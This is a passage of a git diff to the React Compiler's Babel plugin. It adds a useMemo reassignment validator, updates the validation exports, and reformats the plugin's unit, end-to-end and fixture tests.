+function validateNoContextVariableAssignment(
+  fn: HIRFunction,
+  env: Environment,
+): void {
+  const context = new Set(fn.context.map(place => place.identifier.id));
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const value = instr.value;
+      switch (value.kind) {
+        case 'StoreContext': {
+          if (context.has(value.lvalue.place.identifier.id)) {
+            env.recordError(
+              CompilerDiagnostic.create({
+                category: ErrorCategory.UseMemo,
+                reason:
+                  'useMemo() callbacks may not reassign variables declared outside of the callback',
+                description:
+                  'useMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function',
+                suggestions: null,
+              }).withDetails({
+                kind: 'error',
+                loc: value.lvalue.place.loc,
+                message: 'Cannot reassign variable',
+              }),
+            );
+          }
+          break;
+        }
+      }
+    }
+  }
+}
+
+function hasNonVoidReturn(func: HIRFunction): boolean {
+  for (const [, block] of func.body.blocks) {
+    if (block.terminal.kind === 'return') {
+      if (
+        block.terminal.returnVariant === 'Explicit' ||
+        block.terminal.returnVariant === 'Implicit'
+      ) {
+        return true;
+      }
+    }
   }
+  return false;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/index.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/index.ts
index ff1ac32134d8..3169bd63558a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/index.ts
@@ -5,11 +5,11 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { validateContextVariableLValues } from "./ValidateContextVariableLValues";
-export { validateHooksUsage } from "./ValidateHooksUsage";
-export { validateMemoizedEffectDependencies } from "./ValidateMemoizedEffectDependencies";
-export { validateNoCapitalizedCalls } from "./ValidateNoCapitalizedCalls";
-export { validateNoRefAccessInRender } from "./ValidateNoRefAccesInRender";
-export { validateNoSetStateInRender } from "./ValidateNoSetStateInRender";
-export { validatePreservedManualMemoization } from "./ValidatePreservedManualMemoization";
-export { validateUseMemo } from "./ValidateUseMemo";
+export {validateContextVariableLValues} from './ValidateContextVariableLValues';
+export {validateHooksUsage} from './ValidateHooksUsage';
+export {validateNoCapitalizedCalls} from './ValidateNoCapitalizedCalls';
+export {validateNoRefAccessInRender} from './ValidateNoRefAccessInRender';
+export {validateNoSetStateInRender} from './ValidateNoSetStateInRender';
+export {validatePreservedManualMemoization} from './ValidatePreservedManualMemoization';
+export {validateSourceLocations} from './ValidateSourceLocations';
+export {validateUseMemo} from './ValidateUseMemo';
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/DisjointSet-test.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/DisjointSet-test.ts
index f6900ea32010..754edf0c938d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/DisjointSet-test.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/DisjointSet-test.ts
@@ -5,14 +5,14 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import DisjointSet from "../Utils/DisjointSet";
+import DisjointSet from '../Utils/DisjointSet';
 
 type TestIdentifier = {
   id: number;
   name: string;
 };
 
-describe("DisjointSet", () => {
+describe('DisjointSet', () => {
   let identifierId = 0;
   function makeIdentifier(name: string): TestIdentifier {
     return {
@@ -22,16 +22,16 @@ describe("DisjointSet", () => {
   }
 
   function makeIdentifiers(...names: string[]): TestIdentifier[] {
-    return names.map((name) => makeIdentifier(name));
+    return names.map(name => makeIdentifier(name));
   }
 
   beforeEach(() => {
     identifierId = 0;
   });
 
-  it(".find - finds the correct group which the item is associated with", () => {
+  it('.find - finds the correct group which the item is associated with', () => {
     const identifiers = new DisjointSet<TestIdentifier>();
-    const [x, y, z] = makeIdentifiers("x", "y", "z");
+    const [x, y, z] = makeIdentifiers('x', 'y', 'z');
 
     identifiers.union([x]);
     identifiers.union([y, x]);
@@ -41,15 +41,15 @@ describe("DisjointSet", () => {
     expect(identifiers.find(z)).toBe(null);
   });
 
-  it(".size - returns 0 when empty", () => {
+  it('.size - returns 0 when empty', () => {
     const identifiers = new DisjointSet<TestIdentifier>();
 
     expect(identifiers.size).toBe(0);
   });
 
-  it(".size - returns the correct size when non-empty", () => {
+  it('.size - returns the correct size when non-empty', () => {
     const identifiers = new DisjointSet<TestIdentifier>();
-    const [x, y] = makeIdentifiers("x", "y", "z");
+    const [x, y] = makeIdentifiers('x', 'y', 'z');
 
     identifiers.union([x]);
     identifiers.union([y, x]);
@@ -57,9 +57,9 @@ describe("DisjointSet", () => {
     expect(identifiers.size).toBe(2);
   });
 
-  it(".buildSets - returns non-overlapping sets", () => {
+  it('.buildSets - returns non-overlapping sets', () => {
     const identifiers = new DisjointSet<TestIdentifier>();
-    const [a, b, c, x, y, z] = makeIdentifiers("a", "b", "c", "x", "y", "z");
+    const [a, b, c, x, y, z] = makeIdentifiers('a', 'b', 'c', 'x', 'y', 'z');
 
     identifiers.union([a]);
     identifiers.union([b, a]);
@@ -107,7 +107,7 @@ describe("DisjointSet", () => {
   // Regression test for issue #933
   it("`forEach` doesn't infinite loop when there are cycles", () => {
     const identifiers = new DisjointSet<TestIdentifier>();
-    const [x, y, z] = makeIdentifiers("x", "y", "z");
+    const [x, y, z] = makeIdentifiers('x', 'y', 'z');
 
     identifiers.union([x]);
     identifiers.union([y, x]);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/Logger-test.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/Logger-test.ts
index c3c4c89663cf..1ab6f49895ff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/Logger-test.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/Logger-test.ts
@@ -5,12 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
-import invariant from "invariant";
-import { runBabelPluginReactCompiler } from "../Babel/RunReactCompilerBabelPlugin";
-import type { Logger, LoggerEvent } from "../Entrypoint";
+import * as t from '@babel/types';
+import invariant from 'invariant';
+import {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';
+import type {Logger, LoggerEvent} from '../Entrypoint';
 
-it("logs succesful compilation", () => {
+it('logs successful compilation', () => {
   const logs: [string | null, LoggerEvent][] = [];
   const logger: Logger = {
     logEvent(filename, event) {
@@ -19,22 +19,22 @@ it("logs succesful compilation", () => {
   };
 
   const _ = runBabelPluginReactCompiler(
-    "function Component(props) { return <div>{props}</div> }",
-    "test.js",
-    "flow",
-    { logger, panicThreshold: "all_errors" }
+    'function Component(props) { return <div>{props}</div> }',
+    'test.js',
+    'flow',
+    {logger, panicThreshold: 'all_errors'},
   );
 
   const [filename, event] = logs.at(0)!;
-  expect(filename).toContain("test.js");
-  expect(event.kind).toEqual("CompileSuccess");
-  invariant(event.kind === "CompileSuccess", "typescript be smarter");
-  expect(event.fnName).toEqual("Component");
-  expect(event.fnLoc?.end).toEqual({ column: 55, index: 55, line: 1 });
-  expect(event.fnLoc?.start).toEqual({ column: 0, index: 0, line: 1 });
+  expect(filename).toContain('test.js');
+  expect(event.kind).toEqual('CompileSuccess');
+  invariant(event.kind === 'CompileSuccess', 'typescript be smarter');
+  expect(event.fnName).toEqual('Component');
+  expect(event.fnLoc?.end).toEqual({column: 55, index: 55, line: 1});
+  expect(event.fnLoc?.start).toEqual({column: 0, index: 0, line: 1});
 });
 
-it("logs failed compilation", () => {
+it('logs failed compilation', () => {
   const logs: [string | null, LoggerEvent][] = [];
   const logger: Logger = {
     logEvent(filename, event) {
@@ -44,26 +44,27 @@ it("logs failed compilation", () => {
 
   expect(() => {
     runBabelPluginReactCompiler(
-      "function Component(props) { props.foo = 1; return <div>{props}</div> }",
-      "test.js",
-      "flow",
-      { logger, panicThreshold: "all_errors" }
+      'function Component(props) { props.foo = 1; return <div>{props}</div> }',
+      'test.js',
+      'flow',
+      {logger, panicThreshold: 'all_errors'},
     );
   }).toThrow();
 
   const [filename, event] = logs.at(0)!;
-  expect(filename).toContain("test.js");
-  expect(event.kind).toEqual("CompileError");
-  invariant(event.kind === "CompileError", "typescript be smarter");
+  expect(filename).toContain('test.js');
+  expect(event.kind).toEqual('CompileError');
+  invariant(event.kind === 'CompileError', 'typescript be smarter');
 
-  expect(event.detail.severity).toEqual("InvalidReact");
+  expect(event.detail.severity).toEqual('Error');
   //@ts-ignore
-  const { start, end, identifierName } = event.detail.loc as t.SourceLocation;
-  expect(start).toEqual({ column: 28, index: 28, line: 1 });
-  expect(end).toEqual({ column: 33, index: 33, line: 1 });
-  expect(identifierName).toEqual("props");
+  const {start, end, identifierName} =
+    event.detail.primaryLocation() as t.SourceLocation;
+  expect(start).toEqual({column: 28, index: 28, line: 1});
+  expect(end).toEqual({column: 33, index: 33, line: 1});
+  expect(identifierName).toEqual('props');
 
   // Make sure event.fnLoc is different from event.detail.loc
-  expect(event.fnLoc?.start).toEqual({ column: 0, index: 0, line: 1 });
-  expect(event.fnLoc?.end).toEqual({ column: 70, index: 70, line: 1 });
+  expect(event.fnLoc?.start).toEqual({column: 0, index: 0, line: 1});
+  expect(event.fnLoc?.end).toEqual({column: 70, index: 70, line: 1});
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/Result-test.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/Result-test.ts
index 0152eafcd50a..a91c0bdbde71 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/Result-test.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/Result-test.ts
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
-import { Err, Ok, Result } from "../Utils/Result";
+import {CompilerError} from '../CompilerError';
+import {Err, Ok, Result} from '../Utils/Result';
 
 function addMax10(a: number, b: number): Result<number, string> {
   const n = a + b;
@@ -14,133 +14,131 @@ function addMax10(a: number, b: number): Result<number, string> {
 }
 
 function onlyFoo(foo: string): Result<string, string> {
-  return foo === "foo" ? Ok(foo) : Err(foo);
+  return foo === 'foo' ? Ok(foo) : Err(foo);
 }
 
 class CustomDummyError extends Error {}
 
-describe("Result", () => {
-  test(".map", () => {
-    expect(addMax10(1, 1).map((n) => n * 2)).toEqual(Ok(4));
-    expect(addMax10(10, 10).map((n) => n * 2)).toEqual(Err("20 is too high"));
+describe('Result', () => {
+  test('.map', () => {
+    expect(addMax10(1, 1).map(n => n * 2)).toEqual(Ok(4));
+    expect(addMax10(10, 10).map(n => n * 2)).toEqual(Err('20 is too high'));
   });
 
-  test(".mapErr", () => {
-    expect(addMax10(1, 1).mapErr((e) => `not a number: ${e}`)).toEqual(Ok(2));
-    expect(addMax10(10, 10).mapErr((e) => `couldn't add: ${e}`)).toEqual(
-      Err("couldn't add: 20 is too high")
+  test('.mapErr', () => {
+    expect(addMax10(1, 1).mapErr(e => `not a number: ${e}`)).toEqual(Ok(2));
+    expect(addMax10(10, 10).mapErr(e => `couldn't add: ${e}`)).toEqual(
+      Err("couldn't add: 20 is too high"),
     );
   });
 
-  test(".mapOr", () => {
-    expect(onlyFoo("foo").mapOr(42, (v) => v.length)).toEqual(3);
-    expect(onlyFoo("bar").mapOr(42, (v) => v.length)).toEqual(42);
+  test('.mapOr', () => {
+    expect(onlyFoo('foo').mapOr(42, v => v.length)).toEqual(3);
+    expect(onlyFoo('bar').mapOr(42, v => v.length)).toEqual(42);
   });
 
-  test(".mapOrElse", () => {
+  test('.mapOrElse', () => {
     expect(
-      onlyFoo("foo").mapOrElse(
+      onlyFoo('foo').mapOrElse(
         () => 42,
-        (v) => v.length
-      )
+        v => v.length,
+      ),
     ).toEqual(3);
     expect(
-      onlyFoo("bar").mapOrElse(
+      onlyFoo('bar').mapOrElse(
         () => 42,
-        (v) => v.length
-      )
+        v => v.length,
+      ),
     ).toEqual(42);
   });
 
-  test(".andThen", () => {
-    expect(addMax10(1, 1).andThen((n) => Ok(n * 2))).toEqual(Ok(4));
-    expect(addMax10(10, 10).andThen((n) => Ok(n * 2))).toEqual(
-      Err("20 is too high")
+  test('.andThen', () => {
+    expect(addMax10(1, 1).andThen(n => Ok(n * 2))).toEqual(Ok(4));
+    expect(addMax10(10, 10).andThen(n => Ok(n * 2))).toEqual(
+      Err('20 is too high'),
     );
   });
 
-  test(".and", () => {
+  test('.and', () => {
     expect(addMax10(1, 1).and(Ok(4))).toEqual(Ok(4));
-    expect(addMax10(10, 10).and(Ok(4))).toEqual(Err("20 is too high"));
-    expect(addMax10(1, 1).and(Err("hehe"))).toEqual(Err("hehe"));
-    expect(addMax10(10, 10).and(Err("hehe"))).toEqual(Err("20 is too high"));
+    expect(addMax10(10, 10).and(Ok(4))).toEqual(Err('20 is too high'));
+    expect(addMax10(1, 1).and(Err('hehe'))).toEqual(Err('hehe'));
+    expect(addMax10(10, 10).and(Err('hehe'))).toEqual(Err('20 is too high'));
   });
 
-  test(".or", () => {
+  test('.or', () => {
     expect(addMax10(1, 1).or(Ok(4))).toEqual(Ok(2));
     expect(addMax10(10, 10).or(Ok(4))).toEqual(Ok(4));
-    expect(addMax10(1, 1).or(Err("hehe"))).toEqual(Ok(2));
-    expect(addMax10(10, 10).or(Err("hehe"))).toEqual(Err("hehe"));
+    expect(addMax10(1, 1).or(Err('hehe'))).toEqual(Ok(2));
+    expect(addMax10(10, 10).or(Err('hehe'))).toEqual(Err('hehe'));
   });
 
-  test(".orElse", () => {
-    expect(addMax10(1, 1).orElse((str) => Err(str.toUpperCase()))).toEqual(
-      Ok(2)
-    );
-    expect(addMax10(10, 10).orElse((str) => Err(str.toUpperCase()))).toEqual(
-      Err("20 IS TOO HIGH")
+  test('.orElse', () => {
+    expect(addMax10(1, 1).orElse(str => Err(str.toUpperCase()))).toEqual(Ok(2));
+    expect(addMax10(10, 10).orElse(str => Err(str.toUpperCase()))).toEqual(
+      Err('20 IS TOO HIGH'),
     );
   });
 
-  test(".isOk", () => {
+  test('.isOk', () => {
     expect(addMax10(1, 1).isOk()).toBeTruthy();
     expect(addMax10(10, 10).isOk()).toBeFalsy();
   });
 
-  test(".isErr", () => {
+  test('.isErr', () => {
     expect(addMax10(1, 1).isErr()).toBeFalsy();
     expect(addMax10(10, 10).isErr()).toBeTruthy();
   });
 
-  test(".expect", () => {
-    expect(addMax10(1, 1).expect("a number under 10")).toEqual(2);
+  test('.expect', () => {
+    expect(addMax10(1, 1).expect('a number under 10')).toEqual(2);
     expect(() => {
-      addMax10(10, 10).expect("a number under 10");
+      addMax10(10, 10).expect('a number under 10');
     }).toThrowErrorMatchingInlineSnapshot(
-      `"a number under 10: 20 is too high"`
+      `"a number under 10: 20 is too high"`,
     );
   });
 
-  test(".expectErr", () => {
+  test('.expectErr', () => {
     expect(() => {
-      addMax10(1, 1).expectErr("a number under 10");
+      addMax10(1, 1).expectErr('a number under 10');
     }).toThrowErrorMatchingInlineSnapshot(`"a number under 10: 2"`);
-    expect(addMax10(10, 10).expectErr("a number under 10")).toEqual(
-      "20 is too high"
+    expect(addMax10(10, 10).expectErr('a number under 10')).toEqual(
+      '20 is too high',
     );
   });
 
-  test(".unwrap", () => {
+  test('.unwrap', () => {
     expect(addMax10(1, 1).unwrap()).toEqual(2);
     expect(() => {
       addMax10(10, 10).unwrap();
     }).toThrowErrorMatchingInlineSnapshot(
-      `"Can't unwrap \`Err\` to \`Ok\`: 20 is too high"`
+      `"Can't unwrap \`Err\` to \`Ok\`: 20 is too high"`,
     );
     expect(() => {
-      Err(new CustomDummyError("oops")).unwrap();
+      Err(new CustomDummyError('oops')).unwrap();
     }).toThrowErrorMatchingInlineSnapshot(`"oops"`);
   });
 
-  test(".unwrapOr", () => {
+  test('.unwrapOr', () => {
     expect(addMax10(1, 1).unwrapOr(4)).toEqual(2);
     expect(addMax10(10, 10).unwrapOr(4)).toEqual(4);
   });
 
-  test(".unwrapOrElse", () => {
+  test('.unwrapOrElse', () => {
     expect(addMax10(1, 1).unwrapOrElse(() => 4)).toEqual(2);
-    expect(addMax10(10, 10).unwrapOrElse((s) => s.length)).toEqual(14);
+    expect(addMax10(10, 10).unwrapOrElse(s => s.length)).toEqual(14);
   });
 
-  test(".unwrapErr", () => {
+  test('.unwrapErr', () => {
     expect(() => {
       addMax10(1, 1).unwrapErr();
     }).toThrowErrorMatchingInlineSnapshot(
-      `"Can't unwrap \`Ok\` to \`Err\`: 2"`
+      `"Can't unwrap \`Ok\` to \`Err\`: 2"`,
     );
-    expect(addMax10(10, 10).unwrapErr()).toEqual("20 is too high");
+    expect(addMax10(10, 10).unwrapErr()).toEqual('20 is too high');
     expect(() => {
-      Ok(new CustomDummyError("oops")).unwrapErr();
+      Ok(new CustomDummyError('oops')).unwrapErr();
     }).toThrowErrorMatchingInlineSnapshot(`"oops"`);
   });
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/constant-prop.e2e.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/constant-prop.e2e.js
index dfb68b2ce543..229e36206da9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/constant-prop.e2e.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/constant-prop.e2e.js
@@ -5,17 +5,18 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as React from "react";
-import { render } from "@testing-library/react";
+import * as React from 'react';
+import {render} from '@testing-library/react';
 
-globalThis.constantValue = "global test value";
+globalThis.constantValue = 'global test value';
 
-test("literal-constant-propagation", () => {
+test('literal-constant-propagation', () => {
   function Component() {
-    const x = "test value 1";
+    'use memo';
+    const x = 'test value 1';
     return <div>{x}</div>;
   }
-  const { asFragment, rerender } = render(<Component />);
+  const {asFragment, rerender} = render(<Component />);
 
   expect(asFragment()).toMatchInlineSnapshot(`
     <DocumentFragment>
@@ -36,13 +37,14 @@ test("literal-constant-propagation", () => {
   `);
 });
 
-test("global-constant-propagation", () => {
+test('global-constant-propagation', () => {
   function Component() {
+    'use memo';
     const x = constantValue;
 
     return <div>{x}</div>;
   }
-  const { asFragment, rerender } = render(<Component />);
+  const {asFragment, rerender} = render(<Component />);
 
   expect(asFragment()).toMatchInlineSnapshot(`
     <DocumentFragment>
@@ -63,13 +65,14 @@ test("global-constant-propagation", () => {
   `);
 });
 
-test("lambda-constant-propagation", () => {
+test('lambda-constant-propagation', () => {
   function Component() {
-    const x = "test value 1";
+    'use memo';
+    const x = 'test value 1';
     const getDiv = () => <div>{x}</div>;
     return getDiv();
   }
-  const { asFragment, rerender } = render(<Component />);
+  const {asFragment, rerender} = render(<Component />);
 
   expect(asFragment()).toMatchInlineSnapshot(`
       <DocumentFragment>
@@ -90,9 +93,10 @@ test("lambda-constant-propagation", () => {
     `);
 });
 
-test("lambda-constant-propagation-of-phi-node", () => {
-  function Component({ noopCallback }) {
-    const x = "test value 1";
+test('lambda-constant-propagation-of-phi-node', () => {
+  function Component({noopCallback}) {
+    'use memo';
+    const x = 'test value 1';
     if (constantValue) {
       noopCallback();
     }
@@ -105,9 +109,7 @@ test("lambda-constant-propagation-of-phi-node", () => {
     return getDiv();
   }
 
-  const { asFragment, rerender } = render(
-    <Component noopCallback={() => {}} />
-  );
+  const {asFragment, rerender} = render(<Component noopCallback={() => {}} />);
 
   expect(asFragment()).toMatchInlineSnapshot(`
       <DocumentFragment>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/hello.e2e.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/hello.e2e.js
index 34d0e34d80b5..2c6f77e638e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/hello.e2e.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/hello.e2e.js
@@ -5,12 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as React from "react";
-import { render } from "@testing-library/react";
-import { expectLogsAndClear, log } from "./expectLogs";
+import * as React from 'react';
+import {render} from '@testing-library/react';
+import {expectLogsAndClear, log} from './expectLogs';
 
-function Hello({ name }) {
-  const items = [1, 2, 3].map((item) => {
+function Hello({name}) {
+  const items = [1, 2, 3].map(item => {
     log(`recomputing ${item}`);
     return <div key={item}>Item {item}</div>;
   });
@@ -22,8 +22,8 @@ function Hello({ name }) {
   );
 }
 
-test("hello", () => {
-  const { asFragment, rerender } = render(<Hello name="World" />);
+test('hello', () => {
+  const {asFragment, rerender} = render(<Hello name="World" />);
 
   expect(asFragment()).toMatchInlineSnapshot(`
     <DocumentFragment>
@@ -45,7 +45,7 @@ test("hello", () => {
     </DocumentFragment>
   `);
 
-  expectLogsAndClear(["recomputing 1", "recomputing 2", "recomputing 3"]);
+  expectLogsAndClear(['recomputing 1', 'recomputing 2', 'recomputing 3']);
 
   rerender(<Hello name="Universe" />);
 
@@ -70,6 +70,6 @@ test("hello", () => {
   `);
 
   expectLogsAndClear(
-    __FORGET__ ? [] : ["recomputing 1", "recomputing 2", "recomputing 3"]
+    __FORGET__ ? [] : ['recomputing 1', 'recomputing 2', 'recomputing 3']
   );
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-button.e2e.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-button.e2e.js
index 1f84d7075ae1..ac25adeba9d4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-button.e2e.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-button.e2e.js
@@ -5,28 +5,29 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { render } from "@testing-library/react";
-import * as React from "react";
+import {render} from '@testing-library/react';
+import * as React from 'react';
 
-function Button({ label }) {
+function Button({label}) {
   const theme = useTheme();
   const style = computeStyle(theme);
   return <button color={style}>{label}</button>;
 }
 
-let currentTheme = "light";
+let currentTheme = 'light';
 function useTheme() {
+  'use memo';
   return currentTheme;
 }
 
 let styleComputations = 0;
 function computeStyle(theme) {
   styleComputations++;
-  return theme === "light" ? "white" : "black";
+  return theme === 'light' ? 'white' : 'black';
 }
 
-test("update-button", () => {
-  const { asFragment, rerender } = render(<Button label="Click me" />);
+test('update-button', () => {
+  const {asFragment, rerender} = render(<Button label="Click me" />);
   expect(asFragment()).toMatchInlineSnapshot(`
     <DocumentFragment>
       <button
@@ -51,7 +52,7 @@ test("update-button", () => {
     </DocumentFragment>
   `);
 
-  currentTheme = "dark";
+  currentTheme = 'dark';
   rerender(<Button label="Click again" />);
   expect(asFragment()).toMatchInlineSnapshot(`
     <DocumentFragment>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-expressions.e2e.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-expressions.e2e.js
index 4d0f7844d1aa..0344c5799fad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-expressions.e2e.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/update-expressions.e2e.js
@@ -5,11 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { render, screen, fireEvent } from "@testing-library/react";
-import * as React from "react";
-import { expectLogsAndClear, log } from "./expectLogs";
+import {render, screen, fireEvent} from '@testing-library/react';
+import * as React from 'react';
+import {expectLogsAndClear, log} from './expectLogs';
 
 function Counter(props) {
+  'use memo';
   let value = props.value;
   let a = value++;
   expect(a).toBe(props.value); // postfix
@@ -27,8 +28,8 @@ function Counter(props) {
   return <span>{value}</span>;
 }
 
-test("use-state", async () => {
-  const { asFragment, rerender } = render(<Counter value={0} />);
+test('use-state', async () => {
+  const {asFragment, rerender} = render(<Counter value={0} />);
   expect(asFragment()).toMatchInlineSnapshot(`
     <DocumentFragment>
       <span>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/use-state.e2e.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/use-state.e2e.js
index aecae4442528..cc41cdf7e236 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/use-state.e2e.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/use-state.e2e.js
@@ -5,10 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { render, screen, fireEvent } from "@testing-library/react";
-import * as React from "react";
-import { useState } from "react";
-import { expectLogsAndClear, log } from "./expectLogs";
+import {render, screen, fireEvent} from '@testing-library/react';
+import * as React from 'react';
+import {useState} from 'react';
+import {expectLogsAndClear, log} from './expectLogs';
 
 function Counter() {
   let [state, setState] = useState(0);
@@ -23,13 +23,13 @@ function Counter() {
   );
 }
 
-function Title({ text }) {
+function Title({text}) {
   log(`rendering: ${text}`);
   return <h1>{text}</h1>;
 }
 
-test("use-state", async () => {
-  const { asFragment } = render(<Counter />);
+test('use-state', async () => {
+  const {asFragment} = render(<Counter />);
 
   expect(asFragment()).toMatchInlineSnapshot(`
   <DocumentFragment>
@@ -49,10 +49,10 @@ test("use-state", async () => {
   </DocumentFragment>
   `);
 
-  expectLogsAndClear(["rendering: Counter"]);
+  expectLogsAndClear(['rendering: Counter']);
 
-  fireEvent.click(screen.getByTestId("button"));
-  await screen.findByText("1");
+  fireEvent.click(screen.getByTestId('button'));
+  await screen.findByText('1');
 
-  expectLogsAndClear(__FORGET__ ? [] : ["rendering: Counter"]);
+  expectLogsAndClear(__FORGET__ ? [] : ['rendering: Counter']);
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/envConfig-test.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/envConfig-test.ts
index 78467393b31e..406b5cd3c422 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/envConfig-test.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/envConfig-test.ts
@@ -5,35 +5,35 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { Effect, validateEnvironmentConfig } from "..";
-import { ValueKind } from "../HIR";
+import {Effect, validateEnvironmentConfig} from '..';
+import {ValueKind} from '../HIR';
 
-describe("parseConfigPragma()", () => {
-  it("passing null throws", () => {
+describe('parseConfigPragma()', () => {
+  it('passing null throws', () => {
     expect(() => validateEnvironmentConfig(null as any)).toThrow();
   });
 
   // tests that the error message remains useful
-  it("passing incorrect value throws", () => {
+  it('passing incorrect value throws', () => {
     expect(() => {
       validateEnvironmentConfig({
         validateHooksUsage: 1,
       } as any);
     }).toThrowErrorMatchingInlineSnapshot(
-      `"InvalidConfig: Could not validate environment config. Update React Compiler config to fix the error. Validation error: Expected boolean, received number at "validateHooksUsage""`
+      `"Error: Could not validate environment config. Update React Compiler config to fix the error. Validation error: Invalid input: expected boolean, received number at "validateHooksUsage"."`,
     );
   });
 
-  it("can parse stringy enums", () => {
+  it('can parse stringy enums', () => {
     const stringyHook = {
-      effectKind: "freeze",
-      valueKind: "frozen",
+      effectKind: 'freeze',
+      valueKind: 'frozen',
     };
     const env = {
-      customHooks: new Map([["useFoo", stringyHook]]),
+      customHooks: new Map([['useFoo', stringyHook]]),
     };
     const validatedEnv = validateEnvironmentConfig(env as any);
-    const validatedHook = validatedEnv.customHooks.get("useFoo");
+    const validatedHook = validatedEnv.customHooks.get('useFoo');
     expect(validatedHook?.effectKind).toBe(Effect.Freeze);
     expect(validatedHook?.valueKind).toBe(ValueKind.Frozen);
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.expect.md
index e51cd8d5fa9e..eb2d451c564c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives, mutate } from "shared-runtime";
+import {makeObject_Primitives, mutate} from 'shared-runtime';
 
 function Component() {
   // a's mutable range should be the same as x's mutable range,
@@ -35,10 +35,8 @@ function Component() {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const a = makeObject_Primitives();
-
     const x = [];
     x.push(a);
-
     mutate(x);
     t0 = [x, a];
     $[0] = t0;
@@ -57,4 +55,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: ok) [[{"a":0,"b":"value1","c":true}],"[[ cyclic ref *2 ]]"]
\ No newline at end of file
+(kind: ok) [[{"a":0,"b":"value1","c":true},"joe"],"[[ cyclic ref *2 ]]"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.js
index b9c7b9e0d0fd..5ba8bd4cacff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver-and-mutate.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives, mutate } from "shared-runtime";
+import {makeObject_Primitives, mutate} from 'shared-runtime';
 
 function Component() {
   // a's mutable range should be the same as x's mutable range,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver.expect.md
index 2b9efc0f4a69..b7b89dc1a1da 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/alias-capture-in-method-receiver.expect.md
